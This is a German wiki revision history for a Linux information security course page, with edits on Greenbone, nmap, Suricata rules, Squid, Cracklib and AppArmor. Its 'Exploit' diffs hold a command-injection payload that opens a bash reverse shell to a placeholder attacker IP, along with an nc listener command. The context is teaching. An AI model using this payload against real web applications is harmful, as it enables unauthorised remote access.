Informationssicherheit in Linux-Umgebungen - Versionsgeschichte

Linkai.zhang: /* Greenbone Security Manager */

2024-10-07T19:43:21Z

Greenbone Security Manager

← Nächstältere Version		Version vom 7. Oktober 2024, 19:43 Uhr
Zeile 287:		Zeile 287:
	* Container nicht im Daemon Modues starten, damit wir sehen können wann alle Updates in der Datenbank sind		* Container nicht im Daemon Modues starten, damit wir sehen können wann alle Updates in der Datenbank sind
	* '''docker-compose up'''		* '''docker-compose up'''
			* Anmeldedaten sind admin / admin

	= Social Engineering =		= Social Engineering =

2024-10-07T11:24:55Z

Exploit

← Nächstältere Version		Version vom 7. Oktober 2024, 11:24 Uhr
Zeile 179:		Zeile 179:
	* '''nc -lp ''port'' '''		* '''nc -lp ''port'' '''
	* In der Webanwendung:		* In der Webanwendung:
	* '''1.1.1.1 ; bash -c "bash -i >& /dev/tcp/''i.p.des.hackers'' ''port'' 0>&1"'''		* '''1.1.1.1 ; bash -c "bash -i >& /dev/tcp/''i.p.des.hackers''/''port'' 0>&1"'''
	* nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer ''www-data'' bekommen!		* nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer ''www-data'' bekommen!
	* Von dieser Position aus kann man folgenderweise weitermachen:		* Von dieser Position aus kann man folgenderweise weitermachen:

2024-10-07T11:19:38Z

Exploit

← Nächstältere Version		Version vom 7. Oktober 2024, 11:19 Uhr
Zeile 179:		Zeile 179:
	* '''nc -lp ''port'' '''		* '''nc -lp ''port'' '''
	* In der Webanwendung:		* In der Webanwendung:
	* '''1.1.1.1 ; bash -c "bash -i >& /dev/tcp/''i.p.des.hackers''/''port'' 0>&1"'''		* '''1.1.1.1 ; bash -c "bash -i >& /dev/tcp/''i.p.des.hackers'' ''port'' 0>&1"'''
	* nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer ''www-data'' bekommen!		* nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer ''www-data'' bekommen!
	* Von dieser Position aus kann man folgenderweise weitermachen:		* Von dieser Position aus kann man folgenderweise weitermachen:

2024-10-07T09:15:17Z

Cracklib

← Nächstältere Version		Version vom 7. Oktober 2024, 09:15 Uhr
Zeile 85:		Zeile 85:
	* retry=3 : Benutzer höchstens 3 Mal auffordern, bevor er mit einem Fehler zurückkehrt. Der Standardwert ist 1.		* retry=3 : Benutzer höchstens 3 Mal auffordern, bevor er mit einem Fehler zurückkehrt. Der Standardwert ist 1.
	* minlen=16 : Die akzeptable Mindestgröße für das neue Passwort.		* minlen=16 : Die akzeptable Mindestgröße für das neue Passwort.
	* difok=3 : Dieses Argument ändert den Standardwert von 5 für die Anzahl der Zeichenänderungen im neuen Passwort, die es vom alten Passwort unterscheiden.		* difok=3 : Dieses Argument ändert den Standardwert von 3 für die Anzahl der Zeichenänderungen im neuen Passwort, die es vom alten Passwort unterscheiden.
	* ucredit=-1 : Das neue Passwort muss mindestens 1 Großbuchstaben enthalten.		* ucredit=-1 : Das neue Passwort muss mindestens 1 Großbuchstaben enthalten.
	* lcredit=-2 : Das neue Passwort muss mindestens 2 Kleinbuchstaben enthalten.		* lcredit=-2 : Das neue Passwort muss mindestens 2 Kleinbuchstaben enthalten.

2024-10-06T19:10:03Z

nmap

← Nächstältere Version		Version vom 6. Oktober 2024, 19:10 Uhr
Zeile 273:		Zeile 273:
	= Schwachstellenerkennung/-scanning =		= Schwachstellenerkennung/-scanning =

	== nmap ==		== [[nmap]] ==
			* meistbenutzter Portscanner
			* kann auch für Dienst- und Betriebssystemerkennung genutzt werden
			* erweiterbar über Lua-Skripte

	== Greenbone Security Manager ==		== Greenbone Security Manager ==

2024-10-06T19:07:02Z

← Nächstältere Version		Version vom 6. Oktober 2024, 19:07 Uhr
Zeile 263:		Zeile 263:

	alert http any any <> any any (msg: "SQL Injection Attempt!"; http.request_body; content: "OR 1=1"; sid:4;)		alert http any any <> any any (msg: "SQL Injection Attempt!"; http.request_body; content: "OR 1=1"; sid:4;)

			= [[Squid from the scratch\|Squid Proxy]] =

			* Ein transparenter Proxy erlaubt uns den HTTP/S Verkehr der Clients zu kontrollieren
			* Wir können so einen gewissen Schutz vor Phishing Attacken und Virendownload bieten

			{{#drawio:transparenter-proxy}}

	= Schwachstellenerkennung/-scanning =		= Schwachstellenerkennung/-scanning =
Zeile 281:		Zeile 288:

	* Viele Hacks sind nicht nur eine technische Schwachstelle, sondern beinhalten auch eine soziale Komponente		* Viele Hacks sind nicht nur eine technische Schwachstelle, sondern beinhalten auch eine soziale Komponente
			* [[xz Backdoor]]
	= [[~~Squid from the scratch\|Squid Proxy~~]] =

	* Ein transparenter Proxy erlaubt uns den HTTP/S Verkehr der Clients zu kontrollieren
	* Wir können so einen gewissen Schutz vor Phishing Attacken und Virendownload bieten

	~~{{#drawio:transparenter-proxy}}~~

	= Links =		= Links =

2024-09-18T20:08:31Z

Exploit

← Nächstältere Version		Version vom 18. September 2024, 20:08 Uhr
Zeile 177:		Zeile 177:

	* Auf der Angreifermaschine:		* Auf der Angreifermaschine:
	* '''nc -p ''port'' '''		* '''nc -lp ''port'' '''
	* In der Webanwendung:		* In der Webanwendung:
	* '''1.1.1.1 ; bash -c "bash -i >& /dev/tcp/''i.p.des.hackers''/''port'' 0>&1"'''		* '''1.1.1.1 ; bash -c "bash -i >& /dev/tcp/''i.p.des.hackers''/''port'' 0>&1"'''

2023-09-11T08:18:40Z

Suricata

← Nächstältere Version		Version vom 11. September 2023, 08:18 Uhr
Zeile 262:		Zeile 262:
	* '''vim ''/etc/suricata/rules/local.rules'' '''		* '''vim ''/etc/suricata/rules/local.rules'' '''

	alert any any <> any any (msg: "SQL Injection Attempt!"; http.request_body; content: "OR 1=1";)		alert http any any <> any any (msg: "SQL Injection Attempt!"; http.request_body; content: "OR 1=1"; sid:4;)

	= Schwachstellenerkennung/-scanning =		= Schwachstellenerkennung/-scanning =

2023-09-05T10:50:13Z

Suricata

← Nächstältere Version		Version vom 5. September 2023, 10:50 Uhr
Zeile 249:		Zeile 249:
	** Reverse Engineering des Backends		** Reverse Engineering des Backends

	= Suricata =		= [[Suricata]] =

	* Infrastruktur-Beispiel:		* Infrastruktur-Beispiel:

2023-09-05T06:45:25Z

Apparmor

← Nächstältere Version		Version vom 5. September 2023, 06:45 Uhr
Zeile 198:		Zeile 198:

	* AppArmor ist standardmäßig auf Debian-basierten Systemen installiert		* AppArmor ist standardmäßig auf Debian-basierten Systemen installiert
	* Es kontrolliert Prozesse und deren Zugriff auf Dateien		* Es kontrolliert Prozesse und deren Zugriff auf Dateien ([[Mandatory Access Control vs. Discretionary Access Control]])
	* Die Handhabung ist etwas einfacher als SELinux, jedoch lässt sich der Netzwerkzugriff von Prozessen nicht feingradig kontrollieren		* Die Handhabung ist etwas einfacher als SELinux, jedoch lässt sich der Netzwerkzugriff von Prozessen nicht feingradig kontrollieren
	* Beispiel: [[AppArmor from scratch 2]]		* Beispiel: [[AppArmor from scratch 2]]